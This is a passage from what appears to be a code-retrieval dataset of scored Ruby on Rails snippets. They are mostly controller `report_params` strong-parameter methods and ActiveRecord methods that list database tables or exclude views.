"text": "def report_params\n # remove single/double quotes from name to avoid display error:\n params[:report][:name] = params[:report][:name].gsub(/'/, '').gsub(/\"/, '') unless params[:report][:name].blank?\n # Nov 2013: these aren't sent as params anymore:\n # :auto_run, :auto_run_daily_hour, :include_summary\n params.require(:report).permit(\n :name, :auto_run_at, :description,\n report_charts_attributes: [:id, :_destroy, :chart_id],\n report_searches_attributes: [:id, :_destroy, :search_id]\n )\n end",
"title": ""
},
{
"docid": "c5dec36e8a4178c5acc1cc70781113ae",
"score": "0.6507645",
"text": "def report_params\n params.require(:report).permit(:id, :asset_id, :status, :starttime, :endtime).tap do |whitelist|\n whitelist[:data] = params[:report][:data]\n end\n end",
"title": ""
},
{
"docid": "a3d80753941c3ec214016ebf700b0b04",
"score": "0.6504537",
"text": "def report_params\n params.require(:report).permit(:user_id, :report_type_id, :description, :pos_x, :pos_y, :address, :avatar)\n end",
"title": ""
},
{
"docid": "f07f3629a69389b3d6c4761d486b1d46",
"score": "0.6482408",
"text": "def initialize(params)\n @params = params\n # AbstractReport assumes html_params expects a hash, not nil\n @params[:html_params] ||= {}\n end",
"title": ""
},
{
"docid": "21659d8d6581b157ec3841491b4d0867",
"score": "0.6476533",
"text": "def report_params\n params.require(:report).permit(:name, :description, :path_1c, :path_fs)\n end",
"title": ""
},
{
"docid": "44db7d414eb7b90a31fc4ebeddcba618",
"score": "0.6460922",
"text": "def report_params\n params.require(:report).permit(:id, :interpretation_sc, :analysis_sc, :evaluation_sc, :inference_sc, :explanation_sc,\n :selfregulation_sc, :name)\n end",
"title": ""
},
{
"docid": "5e99a549e44e83abf7e7876d32c73df6",
"score": "0.6456844",
"text": "def report_params\n params.require(:report).permit(:name, :description)\n end",
"title": ""
},
{
"docid": "22da068bad9ad8e73fadf522125d6612",
"score": "0.64490044",
"text": "def report_params\n params.require(:report).permit(:title, :description, :reported_on)\n end",
"title": ""
},
{
"docid": "01ef008b200d0561a32d9b440d0848b3",
"score": "0.64451003",
"text": "def report_params\n params.require(:report).permit(\n :content,\n :person_id\n )\n end",
"title": ""
},
{
"docid": "aa3c691e3131ed3ab2450a8f6cf704a3",
"score": "0.6437256",
"text": "def report_params\n params.require(:report).permit(:title, :content, :source, :user_id, :author, :viewed, :approved, :sent, :published)\n end",
"title": ""
},
{
"docid": "577468db676881dd3c2d71077ce0c56d",
"score": "0.64256454",
"text": "def report_params\n params.require(:report).permit(:name, :content)\n end",
"title": ""
},
{
"docid": "51620571f5aa48bf950c7b07bfcfffba",
"score": "0.6422622",
"text": "def report_params\n params.require(:report).permit(:report_start)\n end",
"title": ""
},
{
"docid": "74f3e4940b7319577c551832442679fb",
"score": "0.64081824",
"text": "def report_params\n params.require(:report).permit(:name)\n end",
"title": ""
},
{
"docid": "0fb46bd53a6ec14749b92e31b0c07285",
"score": "0.64074534",
"text": "def report_params\n params.require(:report).permit(:user_id, :comment_id)\n end",
"title": ""
},
{
"docid": "3d8ca1a805591ccb4bbb29534dab0280",
"score": "0.6381409",
"text": "def report_params\n params.require(:report).permit(:title, :date, :text)\n end",
"title": ""
},
{
"docid": "708c8fbda312d48e0285eaaa2ca64dba",
"score": "0.6376898",
"text": "def report_option_params\n params[:report_option]\n end",
"title": ""
},
{
"docid": "0e1141b4be0f5365c8cec292a2162542",
"score": "0.63747114",
"text": "def report_params\n params.require(:report).permit(:user_id, :record_id, :category, :content, :chk_admin)\n end",
"title": ""
},
{
"docid": "bd767b741d00e9d8310369ef6a8053df",
"score": "0.6374443",
"text": "def report_params\n params.require(:report).permit(:comment_id, :toreport)\n end",
"title": ""
},
{
"docid": "aa537a15af1267eb689f1fd7b7401eec",
"score": "0.6368564",
"text": "def report_params\n params.require(:report).permit(:user, :post, :report_category, :comment)\n end",
"title": ""
},
{
"docid": "496e91081a03253fb7edf996117ffb9f",
"score": "0.63640606",
"text": "def user_params\n params.require(:report).permit!\n end",
"title": ""
},
{
"docid": "a71895c3457bd63116a50b07ca7f5b3a",
"score": "0.63454825",
"text": "def report_params\n params.require(:report).permit(:user_id, :team_id, :reporting_period_id, :estimated,\n report_parts_attributes: [:id, :percentage,\n :contract_id, :role_id,\n :_destroy])\n end",
"title": ""
},
{
"docid": "25fee84edc9c6c13449e6293ccca5363",
"score": "0.63401616",
"text": "def available_report_params\n params.require(:available_report).permit(:code, :name, :dsn, :db_unit, :batch_size, :is_public, :mime_type,\n :header_kind, :money_format, :normalize_space, :delimiter, :escape_character, :service_code, :msg_model, \n :param1_name, :param1_type, \n :param2_name, :param2_type, \n :param3_name, :param3_type, \n :param4_name, :param4_type, \n :param5_name, :param5_type)\n end",
"title": ""
},
{
"docid": "e2db30aa13e402da2fce4f9aa9d43d32",
"score": "0.633837",
"text": "def report_params\n params.require(:report).permit(:id)\n end",
"title": ""
},
{
"docid": "1ff0d4706933a8efce8e860ae1e1a685",
"score": "0.6333318",
"text": "def report_params\n params.require(:report).permit(:title, :language, :content)\n end",
"title": ""
},
{
"docid": "6794bf2744f799180e747f39cb21eaaa",
"score": "0.63308746",
"text": "def report_params\n params.require(:report).permit(:category, :content, :service_id, :user_id, :guilty)\n end",
"title": ""
},
{
"docid": "db5df8df6a5fe719bd810e27c6d83097",
"score": "0.6318356",
"text": "def report_params\n params.require(:admin_report).permit(:name, :project_id, :company_id, :publish_from, :publish_to)\n end",
"title": ""
},
{
"docid": "b9d7fb437d6723eaffa3366ca90094ee",
"score": "0.63086283",
"text": "def report_params\n params.require(:report).permit(:name, :origin, :destination, :cause, :sense, :novelty, :geolocation, :image, :start_date, :end_date, :report_type, :user_id, :active)\n end",
"title": ""
},
{
"docid": "72e5bf50c4ea4ce9ae36dfd9aa773e62",
"score": "0.63057846",
"text": "def report_params\n params.require(:report).permit(:user_id, :date, :title, :body, :status)\n end",
"title": ""
},
{
"docid": "7107486759df9d08649055c8ef1c5faa",
"score": "0.6304656",
"text": "def metric_report_params\n params.require(:metric_report).permit(:name, :period, :period_type, :value)\n end",
"title": ""
},
{
"docid": "da88d0d120b173bfd618811a686f7ea7",
"score": "0.6301846",
"text": "def report_params\n params.require(:report).permit(:repository_id, :branch_id, :commit_id, :project_id)\n end",
"title": ""
},
{
"docid": "18fdfdc1057db3200f46f6d231bd1fda",
"score": "0.6301019",
"text": "def report_params\n params.require(:report).permit(:title, :header_colour, :footer_colour, :footer_date, :footer_company, :user_id)\n end",
"title": ""
},
{
"docid": "380ebef1525485bea12923775e77ef60",
"score": "0.6297983",
"text": "def report_item_params\n params.require(:report_item).permit(:name, :description, :report_id, :report_type)\n end",
"title": ""
},
{
"docid": "7f2a318f51a65791837242f38774bb06",
"score": "0.6295108",
"text": "def report_params\n params.require(:report).permit(:title, :report_category_id, :house, :short_place_desc, :descr, :report_image)\n end",
"title": ""
},
{
"docid": "f8e1816888c53d01299f0e4f1765470c",
"score": "0.62882525",
"text": "def report_params\n params.require(:report).permit(:report_name, :server_name, :server_port, :login, :password, :organization_id, :report_format, :report_output_file_name, :path_to_report, :report_id)\n end",
"title": ""
},
{
"docid": "006f1c398108d143c27a0452a6888271",
"score": "0.62874746",
"text": "def report_params\n params.require(:report).permit(:title, :memo)\n end",
"title": ""
},
{
"docid": "c68f83fb1e67c5204a10d5a4a2fa90b7",
"score": "0.6283833",
"text": "def report_params\n params.require(:report).permit(:post_id, :user_id, :short_comment)\n end",
"title": ""
},
{
"docid": "c013e2619627864fa449be7d233e039c",
"score": "0.62779826",
"text": "def report_type_params\n params.require(:report_type).permit(:name, :user_id)\n end",
"title": ""
},
{
"docid": "9af9921dd470ec09dd1037f74a0d5108",
"score": "0.62755716",
"text": "def team_report_params\n params.fetch(:team_report, {})\n end",
"title": ""
},
{
"docid": "90b577ec2460199031be881f3f475c4e",
"score": "0.6267107",
"text": "def report_params\n params.require(:report).permit(:summary, :conclusion, :logo_url, :contact_person,\n :company_name, :street, :postalcode, :city, :title)\n end",
"title": ""
},
{
"docid": "cb4eff1698813ef29d448f8c735ade01",
"score": "0.62631804",
"text": "def report_params\n if params[:download][:period]==\"date_interval\"\n params.require(:download).permit(:type, \n :start_date, \n :end_date \n )\n elsif params[:download][:period]==\"single_date\"\n params.require(:download).permit(:type, \n :single_date \n )\n end \n end",
"title": ""
},
{
"docid": "bd31b19077556aeaf41ed3d199d12cb2",
"score": "0.6259719",
"text": "def report_params\n params.require(:report).permit(:date, :rc, :ec, :rm, :comment)\n end",
"title": ""
},
{
"docid": "c105ad0bab55609508258ce8b3679cca",
"score": "0.62556696",
"text": "def report_params\n params.require(:report).permit(:start_date, :end_date)\n end",
"title": ""
},
{
"docid": "67242a9fb876ce3282e2e98582568d1e",
"score": "0.6247461",
"text": "def report_params\n jsonapi_deserialize(params, only: %i[name content organization_id])\n end",
"title": ""
},
{
"docid": "bceb95e9510d889d5e43a90b7c1315c4",
"score": "0.62424767",
"text": "def report_init_params\n filter_params ReportInitParams\n end",
"title": ""
},
{
"docid": "0e589cb720bb715b88800773cae00af2",
"score": "0.62405056",
"text": "def required_report_params\n params.require(:required_report).permit(:agency_name, :name, :description, :local_law, :charter_and_code, :automated_date, :frequency, :frequency_integer, :other_frequency_description, :start_date, :end_date, :last_published_date)\n end",
"title": ""
},
{
"docid": "74d0b48ac5c12638e615570b7dbbbeb2",
"score": "0.6238963",
"text": "def report_params\n params.require(:report).permit(:advertiser_id, :campaign_id, :date, :impressions, :clicks, :installs, :cost_micros)\n end",
"title": ""
},
{
"docid": "22822a5f63939effea7e59581bc46fe2",
"score": "0.62318015",
"text": "def report_params\n params.require(:report).permit(:user_id, :sentiment, :meetings, :arrested, :medicated, :indoors, :bathed, :drugs, :fights, :ems, :weeks_homeless, :notes, :created_at)\n end",
"title": ""
},
{
"docid": "8ba239f217e4843de7cf6742ca17aff7",
"score": "0.623143",
"text": "def v1_report_params\n params.require(:v1_report).permit(:email, :debrief, :v1_form_id)\n end",
"title": ""
},
{
"docid": "1198d28c16131c42def18026d4de96f0",
"score": "0.6219796",
"text": "def report_type_params\n params.require(:report_type).permit(:name)\n end",
"title": ""
},
{
"docid": "d8b5896c3da6aea3f91eef5b26ffa933",
"score": "0.62173176",
"text": "def report_params\n \tparams.require(:report).permit(:type,:date)\n end",
"title": ""
},
{
"docid": "b32d6971cda75fe2f03d6d798d740e8c",
"score": "0.62164414",
"text": "def report_type_params\n params.require(:report_type).permit(:report_type_id, :report_type_name)\n end",
"title": ""
},
{
"docid": "7f61aa839b2334ec69af5381c38cf3bc",
"score": "0.62163323",
"text": "def report_params\n params.require(:report).permit(:profile_id, :post_id, :type, :profile_id, :reason, :reported_at)\n end",
"title": ""
},
{
"docid": "1109919cedb14aa7567ff570cb7b1a8c",
"score": "0.6213203",
"text": "def report_params\n params.require(:report).permit(:project_id, :user_id, :task_id, :start_date, :end_date, :is_billable)\n end",
"title": ""
},
{
"docid": "068d292f19c0af454635c3b5f4f7f6e1",
"score": "0.6206281",
"text": "def report_params\n params.require(:report).permit(:date)\n end",
"title": ""
},
{
"docid": "2bb6974c76a0ce5dff31c384102804da",
"score": "0.62062114",
"text": "def report_params\n params.require(:report).permit(:user_id, :post_id, :content)\n end",
"title": ""
},
{
"docid": "6ad0088c55d11e405b2d372298b32552",
"score": "0.620426",
"text": "def report_params\n params.require(:report).permit(:reason, :link_id)\n end",
"title": ""
},
{
"docid": "f1ac8d9e6179e7c274797dac6a206798",
"score": "0.62040037",
"text": "def employee_report_params\n params.require(:employee_report).permit(:Report_Name, :Report_Start_Date, :Report_End_Date, :employee_report_type_id, :user_id)\n end",
"title": ""
},
{
"docid": "3f78c0a8d7f80e53450c394699a8c492",
"score": "0.6196532",
"text": "def report_params\n if params[:download][:period].present? \n if params[:download][:period]==\"date_interval\"\n params.require(:download).permit(:type, \n :start_date, \n :end_date \n )\n elsif params[:download][:period]==\"single_date\"\n params.require(:download).permit(:type, \n :single_date \n )\n end\n else\n params.require(:download).permit(:type, \n :particluar_date \n ) \n end \n end",
"title": ""
},
{
"docid": "e84102f357f9569bc1ad90228af2ad3b",
"score": "0.6190143",
"text": "def report_params\n params.require(:report).permit(:question_id, :comment, :problem)\n end",
"title": ""
},
{
"docid": "668dade42d8e4a258090cbb4c84ef135",
"score": "0.61836886",
"text": "def report_params\n params.require(:report).permit(:name, :active_status, :sort_order)\n end",
"title": ""
},
{
"docid": "45b69f42c25d38f8be7ddbce81f17f5d",
"score": "0.6183639",
"text": "def report_params\n params.require(:report).permit(:name, :description, :astronaut_id)\n end",
"title": ""
},
{
"docid": "05dc2e28357bd21094f5b8ef64394119",
"score": "0.61746967",
"text": "def report_type_params\n params.require(:report_type).permit(:ReportTypecode, :description, :isusernecessary)\n end",
"title": ""
},
{
"docid": "ab44e26bee9170db400d83371f7e1971",
"score": "0.61745465",
"text": "def report_params\n params.require(:report).permit(:address, :size, :location, :district, :repair_priority, :user_id)\n end",
"title": ""
},
{
"docid": "8eafcb11fa2926147a4b7a5713249193",
"score": "0.617322",
"text": "def report_item_params\n params.require(:report_item).permit(:report_category_id, :name, :help)\n end",
"title": ""
},
{
"docid": "1ae9bb84e24f970c7d9f4bbef7e23306",
"score": "0.61725",
"text": "def report_params\n params.require(:report).permit(:title, :head, :text, :categories => [], :sources => [])\n end",
"title": ""
},
{
"docid": "e7cc4baa936c4b3ed0971349fc60ab53",
"score": "0.61723",
"text": "def report_params\n params.require(:report).permit(:issue_id, :description, :user_id, :picturelink, :latitude, :longitude)\n end",
"title": ""
},
{
"docid": "13be7dd93e0516c20434c8d87f8b7064",
"score": "0.6164241",
"text": "def report_params\n params[:report][:resolved] = (params[:report][:resolved])\n params.require(:report).permit(:description, :location, :involved, :resolved, :time)\n\n # params.require(:location)\n # params.require(:involved)\n # params.require(:resolved)\n # params.permit(:description,:location,:involved,:resolved)\n end",
"title": ""
},
{
"docid": "718a8bae9f045c2ef30a464654096bdb",
"score": "0.61630684",
"text": "def report_params\n params.require(:report).permit(:host, :session, :user_id, :action, :path)\n end",
"title": ""
},
{
"docid": "fb7b01932fd5afcddd207961c54d264f",
"score": "0.6155389",
"text": "def report_params\n params.require(:report).permit(:title, :reason, :content, :server_id, :player_id, :memo)\n end",
"title": ""
},
{
"docid": "22d1b41ea99e38c87d77dca72ce0bf6f",
"score": "0.6154723",
"text": "def report_params\n params.require(:report).permit(:name, :report_type_id,\n custom_definition_values_attributes: %i[id custom_definition_id content])\n end",
"title": ""
},
{
"docid": "6c52e45fa3fa35a8aea6b348f0bde508",
"score": "0.6152784",
"text": "def reportroom_params\n params.require(:reportroom).permit(:type, :contents, :plancontents, :addresult, {attachment:[]})\n end",
"title": ""
},
{
"docid": "bdbee95ea53b2e01d3e022464d556236",
"score": "0.6144614",
"text": "def retrieve_params(params)\n \n \n=begin\n = params[:report][]\n = params[:report][]\n = params[:report][]\n = params[:report][]\n \n \n=end\n \n @report_id = params[:report][:report_id]\n @server_name = params[:report][:server_name]\n @server_port = params[:report][:server_port]\n @login = params[:report][:login]\n @password = params[:report][:password]\n @organization_id = params[:report][:organization_id]\n @report_format = params[:report_format]\n @report_output_file_name = params[:report][:report_output_file_name]\n @path_to_report = params[:report][:path_to_report]\n \n \n if params[COUNTY_CODE] != nil\n @county = params[COUNTY_CODE]\n end\n \n if params[SPONSOR_CODE] != nil\n @sponsor = params[SPONSOR_CODE]\n end\n \n if params[STATUS_CODE] != nil\n @status = params[STATUS_CODE]\n end\n \n if @path_to_report.empty? && params[:report_path_selection] != nil\n @path_to_report = params[:report_path_selection]\n \n Rails.logger.debug \"*********** Get report path value from selection box: #{@path_to_report}\"\n end\n \n \n \n end",
"title": ""
},
{
"docid": "07b7d91a36f9a3e2b601b97b544b7f40",
"score": "0.6138417",
"text": "def reportreg_params\n params.require(:reportreg).permit(:weight, :report_id)\n end",
"title": ""
},
{
"docid": "b2b72aab8d94642c7179e2273e122444",
"score": "0.6129313",
"text": "def report_params\n params.require(:report).permit(:image, :project_id, :overall_grade, :fix_grade, :pain_grade)\n end",
"title": ""
}
] |
27ada0c2b759f5ce0713fa53bde9d3b5 | overrides the tables method from ActiveRecord's SQLite3Adapter to return only tables, and not views. | [
{
"docid": "5814f63d327656fb3fcdc26806929ebd",
"score": "0.6250618",
"text": "def tables(name = nil, table_name = nil)\n sql = <<-SQL\n SELECT name\n FROM sqlite_master\n WHERE type = 'table' AND NOT name = 'sqlite_sequence'\n SQL\n sql << \" AND name = #{quote_table_name(table_name)}\" if table_name\n\n exec_query(sql, 'SCHEMA').map do |row|\n row['name']\n end\n end",
"title": ""
}
] | [
{
"docid": "763e22ca0122e119f74bb3350393ee95",
"score": "0.7636336",
"text": "def tables\n all_tables.reject{ |t| t.ignored? || t.polymorphic? }\n end",
"title": ""
},
{
"docid": "e3360efab56db9709c028746bc3fb862",
"score": "0.71641695",
"text": "def filter_tables tables\n tables.select {|t| !::Fixtural::Adapter::SKIP_TABLES.include? t }\n end",
"title": ""
},
{
"docid": "c294e59a4ff73d6fd83899bd2e5c6c2f",
"score": "0.70988864",
"text": "def tables_without_views(table_schema )\n sql = \"SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA = #{@connection.quote(table_schema)}\"\n @connection.execute(sql)\n end",
"title": ""
},
{
"docid": "059850849e516af6f44dd795ee1a9d87",
"score": "0.7023944",
"text": "def tables\n @connection.tables.select { |row| row.to_s !~ /^system_/i }\n end",
"title": ""
},
{
"docid": "059850849e516af6f44dd795ee1a9d87",
"score": "0.7023944",
"text": "def tables\n @connection.tables.select { |row| row.to_s !~ /^system_/i }\n end",
"title": ""
},
{
"docid": "9def580b5584cf14b15544abbb8fb5f1",
"score": "0.7006712",
"text": "def tables(name = nil) #:nodoc:\n list_of_tables(['base', 'view'])\n end",
"title": ""
},
{
"docid": "033670af8f823ef3ffdef3bc50c834b7",
"score": "0.6982492",
"text": "def tables(opts={})\n raise NotImplemented, \"#tables should be overridden by adapters\"\n end",
"title": ""
},
{
"docid": "7e1f29a9b497b288a87033daf2853133",
"score": "0.6954226",
"text": "def list_tables\n @tb_creator.sqlite3_list_tables\n end",
"title": ""
},
{
"docid": "48a904e40be3b7d9eaacbece964da342",
"score": "0.6944083",
"text": "def tables\n []\n end",
"title": ""
},
{
"docid": "c3d31c4ebaf323b56aece5de495cfb05",
"score": "0.6861013",
"text": "def tables(database)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "ae1e3fb20a0c3151abb386df93134be9",
"score": "0.6850032",
"text": "def get_tables\n return OPTS.tables unless OPTS.tables.empty?\n skip_tables = OPTS.skip_tables\n (TargetModelClass.connection.tables - skip_tables).sort\n end",
"title": ""
},
{
"docid": "bfc2dab8a6edffbc2eb5c2f757977f3f",
"score": "0.6838843",
"text": "def ignore_tables; end",
"title": ""
},
{
"docid": "c2b12e9afde83b7b8971ad1083976e60",
"score": "0.6820946",
"text": "def tables(*args)\n public_tables = super(*args)\n\n non_public_tables =\n query(<<-SQL, 'SCHEMA').map { |row| row[0] }\n SELECT schemaname || '.' || tablename AS table\n FROM pg_tables\n WHERE schemaname NOT IN ('pg_catalog', 'information_schema', 'public')\n SQL\n\n public_tables + non_public_tables\n end",
"title": ""
},
{
"docid": "369091c655a6338e4807c9b57deea2e6",
"score": "0.67113096",
"text": "def tables(name = nil) #:nodoc:\n sql = \"SELECT table_name FROM SYS.SYSTABLE WHERE creator NOT IN (0,3)\"\n select(sql, name).map { |row| row[\"table_name\"] }\n end",
"title": ""
},
{
"docid": "159e8a9178e48cc348db4666901eda03",
"score": "0.67081994",
"text": "def tables\n ActiveRecord::Base.connection.tables.sort!\n end",
"title": ""
},
{
"docid": "87ddd301096124f3340deb130f2c9580",
"score": "0.6702432",
"text": "def tables\n self.class.tables.map &:to_s\n end",
"title": ""
},
{
"docid": "c3a280c1a0bf5ea65aabfcb86f135f52",
"score": "0.6680014",
"text": "def all_tables\n ActiveRecord::Base.connection.tables\n end",
"title": ""
},
{
"docid": "ae1ee5ccd2b1636a8665803e398f2200",
"score": "0.6673934",
"text": "def tables\n @connection.tables(nil, maxdb_schema)\n end",
"title": ""
},
{
"docid": "0fe5d23db5c9eb61a7d65299e66dedf5",
"score": "0.6670544",
"text": "def tables\n @tables = []\n sitrack_view_columns.each do |vc|\n column = vc.sitrack_column\n column.table_clause.split(',').each do |table|\n @tables << table unless @tables.include?(table)\n end\n end\n return @tables\n end",
"title": ""
},
{
"docid": "da1b6240c1b50760ffeb29389b97b48d",
"score": "0.662501",
"text": "def tables\n self.probe_tables unless @tables\n @tables\n end",
"title": ""
},
{
"docid": "c34bcda08973e1b00e9af950d8e6191f",
"score": "0.66232526",
"text": "def tables(opts=OPTS)\n tables_and_views(Sequel.~(:name=>'sqlite_sequence') & {:type => 'table'}, opts)\n end",
"title": ""
},
{
"docid": "f8083dbf33821a0a512218c493ec739e",
"score": "0.661986",
"text": "def views(opts=OPTS)\n _tables(opts).reject{|t| is_valid_table?(t, opts)}\n end",
"title": ""
},
{
"docid": "f8083dbf33821a0a512218c493ec739e",
"score": "0.661986",
"text": "def views(opts=OPTS)\n _tables(opts).reject{|t| is_valid_table?(t, opts)}\n end",
"title": ""
},
{
"docid": "2a4a6cf22ffe8894c5792a4bee0bd596",
"score": "0.65823513",
"text": "def tables\n fail 'Zip#tables should never be called'\n end",
"title": ""
},
{
"docid": "6b760c6598908811f0630552b8de031a",
"score": "0.65748864",
"text": "def tables\n [\n ]\n end",
"title": ""
},
{
"docid": "a4af6793e9db6aa22f16d3141780557e",
"score": "0.6563942",
"text": "def listtables\n\t\tthesetables = []\n\t\ttables = @db.execute \"SELECT name FROM sqlite_master WHERE type='table'\"\n\t\ttables.each { |table| thesetables << table[0] }\n\t\tthesetables\n\tend",
"title": ""
},
{
"docid": "bba794f68c0ce1dfb52f7205a7f5b00d",
"score": "0.6559132",
"text": "def tables; end",
"title": ""
},
{
"docid": "bba794f68c0ce1dfb52f7205a7f5b00d",
"score": "0.6559132",
"text": "def tables; end",
"title": ""
},
{
"docid": "bba794f68c0ce1dfb52f7205a7f5b00d",
"score": "0.6559132",
"text": "def tables; end",
"title": ""
},
{
"docid": "bba794f68c0ce1dfb52f7205a7f5b00d",
"score": "0.6559132",
"text": "def tables; end",
"title": ""
},
{
"docid": "bba794f68c0ce1dfb52f7205a7f5b00d",
"score": "0.6559132",
"text": "def tables; end",
"title": ""
},
{
"docid": "bba794f68c0ce1dfb52f7205a7f5b00d",
"score": "0.6559132",
"text": "def tables; end",
"title": ""
},
{
"docid": "75568e1df468af3dfa23fc5b7588d7cf",
"score": "0.6555387",
"text": "def unknown_tables\n @plan.table_names.map(&:to_s) - database_table_names\n end",
"title": ""
},
{
"docid": "4aec45b1ee0380e7e651f739c86c2cfb",
"score": "0.6518089",
"text": "def tables(name = nil)\n # return schema.table unless the schema is the default schema, in which case just return table\n info_schema_query do\n select_values(\"SELECT TABLE_SCHEMA + '.' + TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_NAME <> 'dtproperties'\").collect do |table|\n default_schema && table.index(\"#{default_schema}.\") == 0 ? table[default_schema.length + 1..table.length] : table\n end\n end\n end",
"title": ""
},
{
"docid": "9499681ec6079e04ea8367fd3f221d2e",
"score": "0.6516848",
"text": "def tables\n ActiveRecord::Base.connection.tables.sort!\nend",
"title": ""
},
{
"docid": "4cfadb7140aab96af46282bfe2ff4936",
"score": "0.65001976",
"text": "def tables\n puts_log \"tables\"\n query_values(data_source_sql(type: \"T\"), \"SCHEMA\").map(&:downcase)\n end",
"title": ""
},
{
"docid": "bcfc9df892f1da6da45a97cfdfe20abd",
"score": "0.65000826",
"text": "def all_tables\n @all_tables\n end",
"title": ""
},
{
"docid": "9f5428854996318e3698bae1a9c97c70",
"score": "0.64928",
"text": "def tables\n return @tables\n end",
"title": ""
},
{
"docid": "9f5428854996318e3698bae1a9c97c70",
"score": "0.64928",
"text": "def tables\n return @tables\n end",
"title": ""
},
{
"docid": "5e3e9476cff88566d796303365bdf0c7",
"score": "0.6474766",
"text": "def base_tables(name = nil)\n # this is untested\n select_values(\"SELECT table_name FROM information_schema.tables\", name)\n end",
"title": ""
},
{
"docid": "4eb8088890473e555066f007b931ebc5",
"score": "0.64556974",
"text": "def tables\n @tables||@tables=create_tables\n end",
"title": ""
},
{
"docid": "188a446f74334a1cf3b26bf6ce168b6c",
"score": "0.64534193",
"text": "def default_ignore_tables\n %w[]\n end",
"title": ""
},
{
"docid": "86241d354f73037be9bf615dc1882e2a",
"score": "0.6443278",
"text": "def all_table_names\n (model_table_names + db_table_names).uniq\n end",
"title": ""
},
{
"docid": "c7cc9aec1c4a6cf83727fb9f2892cdc3",
"score": "0.64429855",
"text": "def tables(name = 'SCHEMA', table_name = nil) #:nodoc:\n sql = <<-SQL\n SELECT name\n FROM sqlite_master\n WHERE (type = 'table' OR type = 'view') AND NOT name = 'sqlite_sequence'\n SQL\n sql << \" AND name = #{quote_table_name(table_name)}\" if table_name\n\n exec_query(sql, name).map do |row|\n row['name']\n end\n end",
"title": ""
},
{
"docid": "c0231161336b338fe7c68f69513a0761",
"score": "0.6425496",
"text": "def ignore_tables\n default_ignore_tables | additional_ignore_tables\n end",
"title": ""
},
{
"docid": "c0231161336b338fe7c68f69513a0761",
"score": "0.6425496",
"text": "def ignore_tables\n default_ignore_tables | additional_ignore_tables\n end",
"title": ""
},
{
"docid": "b92ffab9fb68e19fb78093d89237b7bc",
"score": "0.64221275",
"text": "def polymorphic_tables\n all_tables.reject{ |t| t.ignored? || !t.polymorphic? }\n end",
"title": ""
},
{
"docid": "6b36ad6ec5de3d006fd4c9a7e60c382f",
"score": "0.6411274",
"text": "def tables(opts=OPTS)\n _tables(opts).select{|t| is_valid_table?(t, opts)}\n end",
"title": ""
},
{
"docid": "6b36ad6ec5de3d006fd4c9a7e60c382f",
"score": "0.6411274",
"text": "def tables(opts=OPTS)\n _tables(opts).select{|t| is_valid_table?(t, opts)}\n end",
"title": ""
},
{
"docid": "4822f8892350381db18736113b4c3a7e",
"score": "0.6388378",
"text": "def tables\n query_values(data_source_sql(type: \"BASE TABLE\"), \"SCHEMA\")\n end",
"title": ""
},
{
"docid": "840553838a12075f58bd36460136fc24",
"score": "0.6376999",
"text": "def tables(_name = nil)\n stmt = @connection.tables\n result = stmt.fetch_all || []\n stmt.drop\n\n db_regex = name_regex(current_database)\n schema_regex = name_regex(current_schema)\n result.each_with_object([]) do |row, table_names|\n next unless row[0] =~ db_regex && row[1] =~ schema_regex\n schema_name, table_name, table_type = row[1..3]\n next if respond_to?(:table_filtered?) && table_filtered?(schema_name, table_type)\n table_names << format_case(table_name)\n end\n end",
"title": ""
},
{
"docid": "088c074f4c4a872b6e719652c329262e",
"score": "0.6356273",
"text": "def tables\n metadata_dataset.\n with_sql(\"SELECT TABNAME FROM SYSCAT.TABLES WHERE TYPE='T' AND OWNER = #{literal(input_identifier_meth.call(opts[:user]))}\").\n all.map{|h| output_identifier_meth.call(h[:tabname]) }\n end",
"title": ""
},
{
"docid": "81a4ac976cb2f287e707013cd9440ea7",
"score": "0.63457286",
"text": "def tables(name = nil)\n select_rows(<<-SQL, name).map { |row| row[0] }\n SELECT name\n FROM sysobjects\n WHERE type = 'U'\n SQL\n end",
"title": ""
},
{
"docid": "c470955e42bbf9ed979b1c293cbf67c5",
"score": "0.6345404",
"text": "def db_table_names\n ActiveRecord::Base.connection.tables\n end",
"title": ""
},
{
"docid": "d013b5249c07d951ec5b3d9c6fafb0eb",
"score": "0.6337919",
"text": "def new_tables\n ntables = list_tables(@newdb)\n otables = list_tables(@olddb)\n \n ntables.select {|t| not otables.include?(t) }\n end",
"title": ""
},
{
"docid": "4d197eb4a5eaefa48621bb8c79eb343b",
"score": "0.6335959",
"text": "def all_table_names\n @all_table_names ||= ActiveRecord::Base.connection.tables - ['ar_internal_metadata']\n end",
"title": ""
},
{
"docid": "8fe88a6ddeb48427b90a367514bf5ad8",
"score": "0.63229275",
"text": "def tables\n tbls = []\n sql = \"select class_name from db_class where is_system_class = 'NO'\"\n @conn.query(sql) { |r| \n tbls << r[0].downcase\n }\n tbls\n end",
"title": ""
},
{
"docid": "0d5630d4bddda4eaf3271dfa7837799a",
"score": "0.6319625",
"text": "def tables_and_views(filter, opts)\n m = output_identifier_meth\n metadata_dataset.from(:sqlite_master).server(opts[:server]).where(filter).map{|r| m.call(r[:name])}\n end",
"title": ""
},
{
"docid": "891a7972cbcad4b15c6e206a429ab47d",
"score": "0.6318002",
"text": "def list_tables(db)\n # your code here\n tables = db.execute(\"SELECT name FROM sqlite_master WHERE type='table'\")\nend",
"title": ""
},
{
"docid": "0353fe64613c3feb0d2ec1aae5271b7c",
"score": "0.63149136",
"text": "def tables(opts=OPTS)\n full_tables('BASE TABLE', opts)\n end",
"title": ""
},
{
"docid": "2ef01caa7b6618ac49745e303438c775",
"score": "0.63093543",
"text": "def tables(opts=OPTS)\n get_tables('TABLE', opts)\n end",
"title": ""
},
{
"docid": "255148bfdc8f7225ca4c50e10d61d919",
"score": "0.63065",
"text": "def activerecord_model_tables\n klasses = ActiveRecord::Base.send(:subclasses).reject{ |klass| klass.skip_unload_fixtures if klass.respond_to?(:skip_unload_fixtures) }\n klasses.map do |klass|\n if defined?(ActiveRecord::SnapshotView) && klass.ancestors.include?(ActiveRecord::SnapshotView)\n [klass.switch_table_name] + klass.table_version_names\n else\n klass.table_name\n end\n end.flatten.to_set.to_a\n end",
"title": ""
},
{
"docid": "037ef95e3adb4b5b9b6cd0ece7ccca91",
"score": "0.6284042",
"text": "def old_tables() # :nodoc:\n old_database.list_tables()\n end",
"title": ""
},
{
"docid": "565751ea259715a89f4b5fd804fb289b",
"score": "0.62779",
